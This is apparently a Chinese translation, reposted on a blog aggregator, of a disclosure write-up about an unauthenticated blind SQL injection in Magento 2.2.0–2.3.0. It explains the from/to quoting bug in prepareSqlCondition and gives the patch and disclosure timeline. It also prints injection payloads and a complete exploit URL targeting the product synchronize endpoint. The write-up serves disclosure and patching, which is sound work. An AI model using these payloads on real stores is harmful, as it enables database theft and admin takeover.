zoukankan      html  css  js  c++  java
  • Magento 2.2.0 <= 2.3.0 无需登录下的SQLi

    代码审核

    Magento拥有庞大的代码库 - 超过200万行PHP。显然,手动审核其代码必须是一项繁琐的工作。尽管如此,Netanel Rubin发现的两个优秀RCE漏洞给了我们指导,因为它们针对两件事:

        访问检查/路由
        API

    这两个载体很可能是清除漏洞,因为它们之前已经过审计。因此,我选择了一些尚未定位的东西:负责ORM和DB管理的代码。
    SQL注入
    下沉

    处理数据库的主要类之一是Magento \ Framework \ DB \ Adapter \ Pdo \ Mysql。经过几分钟的审计,其中一个方法prepareSqlCondition出现了一个有趣的错误。

    <?php
    /****
     ** Build SQL statement for condition
     **
     ** If $condition integer or string - exact value will be filtered ('eq' condition)
     **
     ** If $condition is array is - one of the following structures is expected:
     ** - array("from" => $fromValue, "to" => $toValue)
     ** - array("eq" => $equalValue)
     ** - array("neq" => $notEqualValue)
     ** - array("like" => $likeValue)
     ** - array("in" => array($inValues))
     ** - array("nin" => array($notInValues))
     ** - array("notnull" => $valueIsNotNull)
     ** - array("null" => $valueIsNull)
     ** - array("gt" => $greaterValue)
     ** - array("lt" => $lessValue)
     ** - array("gteq" => $greaterOrEqualValue)
     ** - array("lteq" => $lessOrEqualValue)
     ** - array("finset" => $valueInSet)
     ** - array("regexp" => $regularExpression)
     ** - array("seq" => $stringValue)
     ** - array("sneq" => $stringValue)
     **
     ** If non matched - sequential array is expected and OR conditions
     ** will be built using above mentioned structure
     **
     ** ...
     **/
    public function prepareSqlCondition($fieldName, $condition)
    {
        $conditionKeyMap = [                                                    [1]
            'eq'            => "{{fieldName}} = ?",
            'neq'           => "{{fieldName}} != ?",
            'like'          => "{{fieldName}} LIKE ?",
            'nlike'         => "{{fieldName}} NOT LIKE ?",
            'in'            => "{{fieldName}} IN(?)",
            'nin'           => "{{fieldName}} NOT IN(?)",
            'is'            => "{{fieldName}} IS ?",
            'notnull'       => "{{fieldName}} IS NOT NULL",
            'null'          => "{{fieldName}} IS NULL",
            'gt'            => "{{fieldName}} > ?",
            'lt'            => "{{fieldName}} < ?",
            'gteq'          => "{{fieldName}} >= ?",
            'lteq'          => "{{fieldName}} <= ?",
            'finset'        => "FIND_IN_SET(?, {{fieldName}})",
            'regexp'        => "{{fieldName}} REGEXP ?",
            'from'          => "{{fieldName}} >= ?",
            'to'            => "{{fieldName}} <= ?",
            'seq'           => null,
            'sneq'          => null,
            'ntoa'          => "INET_NTOA({{fieldName}}) LIKE ?",
        ];
    
        $query = '';
        if (is_array($condition)) {
            $key = key(array_intersect_key($condition, $conditionKeyMap));
    
            if (isset($condition['from']) || isset($condition['to'])) {         [2]
                if (isset($condition['from'])) {                                [3]
                    $from  = $this->_prepareSqlDateCondition($condition, 'from');
                    $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
                }
    
                if (isset($condition['to'])) {                                  [4]
                    $query .= empty($query) ? '' : ' AND ';
                    $to     = $this->_prepareSqlDateCondition($condition, 'to');
                    $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5]
                }
            } elseif (array_key_exists($key, $conditionKeyMap)) {
                $value = $condition[$key];
                if (($key == 'seq') || ($key == 'sneq')) {
                    $key = $this->_transformStringSqlCondition($key, $value);
                }
                if (($key == 'in' || $key == 'nin') && is_string($value)) {
                    $value = explode(',', $value);
                }
                $query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
            } else {
                $queries = [];
                foreach ($condition as $orCondition) {
                    $queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
                }
    
                $query = sprintf('(%s)', implode(' OR ', $queries));
            }
        } else {
            $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
        }
    
        return $query;
    }
    
    protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3]
    {
        $sql = $this->quoteInto($text, $value);
        $sql = str_replace('{{fieldName}}', $fieldName, $sql);
        return $sql;
    }

    总的来说,该函数根据SQL字段名称和表示运算符(=,!=,>等)和值的数组构建SQL条件。 为此,它使用$ conditionKeyMap [1]将给定条件别名映射到模式,并替换每个? 使用_prepareQuotedSqlCondition()[3]通过给定值的引用版本在别名中的字符。 例如:

    <?php
       $db->prepareSqlCondition('username', ['regexp' => 'my_value']);
    => $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
    => $query = "username REGEXP 'my_value'";

    然而,当结合使用from和to条件时会出现问题[2],通常是为了确保字段包含在一个范围内。 例如:

    <?php
    $db->prepareSqlCondition('price', [
        'from' => '100'
        'to' => '1000'
    ]);
    $query = "price >= '100' AND price <= '1000'";

    当存在两个条件(from和to)时,代码首先处理from部分[3],然后处理另一个[4],但是此时发生了一个关键错误[5]:为from生成的查询是 重复用于格式化。

    结果,因为每一个? 由给定值替换,如果from的值中存在问号,则将替换为to的值的引用版本。 这是一种打破SQL查询并因此引发SQL注入的方法:

    <?php
    $db->prepareSqlCondition('price', [
        'from' => 'some?value'
        'to' => 'BROKEN'
    ]);
    # FROM
       $query = $db->_prepareQuotedSqlCondition("{{fieldName}} >= ?", 'some?value', 'price')
    -> $query = "price >= 'some?value'"
    # TO
       $query = $db->_prepareQuotedSqlCondition($query . "AND {{fieldName}} <= ?", 'BROKEN', 'price')
    -> $query = $db->_prepareQuotedSqlCondition("price >= 'some?value' AND {{fieldName}} <= ?", 'BROKEN', 'price')
    -> $query = "price >= 'some'BROKEN'value' AND price <= 'BROKEN'"

    第一次出现BROKEN是引用之外的。 为了执行有效的SQL注入,我们可以这样做:

    <?php
    
    $db->prepareSqlCondition('price', [
        'from' => 'x?'
        'to' => ' OR 1=1 -- -'
    ]);
    -> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"

    为了避免这个bug,这一行:

    $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);

    应该是

    $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

    这个错误虽然很小,但是非常有影响力:如果我们可以完全控制第二个参数来准备SQLCondition,那么我们就会有一个SQL注入。 令人惊讶的是,自Magento 1.x以来,这段代码已经存在!
    资源

    如前所述,Magento中有许多代码行,找到一种方法来解决这个问题很累人。 在用完智能方法之后,我选择逐个检查每个控制器,直到找到源。 幸运的是,在不到十几个人之后,找到了候选人:Magento \ Catalog \ Controller \ Product \ Frontend \ Action \ Synchronize。

    <?php
    
    public function execute()
    {
        $resultJson = $this->jsonFactory->create();
    
        try {
            $productsData = $this->getRequest()->getParam('ids', []);
            $typeId = $this->getRequest()->getParam('type_id', null);
            $this->synchronizer->syncActions($productsData, $typeId);
        } catch (\Exception $e) {
            $resultJson->setStatusHeader(
                \Zend\Http\Response::STATUS_CODE_400,
                \Zend\Http\AbstractMessage::VERSION_11,
                'Bad Request'
            );
        }
    
        return $resultJson->setData([]);
    }

    这是最终导致错误的调用堆栈

    <?php
    $productsData = $this->getRequest()->getParam('ids', []);
    $this->synchronizer->syncActions($productsData, $typeId);
    $collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
    $this->_translateCondition($field, $condition);
    $this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
    $this->getConnection()->prepareSqlCondition($fieldName, $condition);

    此代码路径仅在Magento 2.2.0之后出现。

    这是一个导致未经身份验证的盲SQL注入的URL:

    https://magento2website.com/catalog/product_frontend_action/synchronize?
        type_id=recently_products&
        ids[0][added_at]=&
        ids[0][product_id][from]=?&
        ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

    现在可以从数据库中读取任何内容,我们可以提取管理会话或密码哈希并使用它们来访问后端。
    修补

    SQL注入的补丁是微不足道的:

    File: vendor/magento/framework/DB/Adapter/Pdo/Mysql.php Line: 2907

    - $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
    + $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);


    Magento发布了2.3.1版本,以及2.2.x,2.1.x和1.1的修补版本。 修补你的服务器!
    时间线

         2018年11月9日:通过Bugcrowd报告错误
         2018年11月26日:错误标记为P1
         2019年3月19日:我们要求更新(4个月!)
         2019年3月19日:Magento以赏金奖励我们,并通知我们正在进行更新
         2019年3月26日:Magento发布了一个新版本,修补了这些错误

  • 相关阅读:
    [ASPNET2.0]Membership类+SQLServer2005,AspNet_regsql.exe的使用
    Tooltip的几个技巧(转自网络)
    使用aspnet_regsql.ext命令行工具后,就不能用sql语句创建新的表了,总是显示已存在XXX对象。
    我已经无可救药
    陈彩君(帮别人名字作诗)
    震后首游都江堰感怀(二)
    克服创业前的恐惧:31条建议帮你有勇气做自己的老板
    想你已经成为了一种习惯
    诸葛亮给儿子上的十堂课
    一生中,这8种朋友是你的无价之宝
  • 原文地址:https://www.cnblogs.com/xsserhaha/p/10623864.html
Copyright © 2011-2022 走看看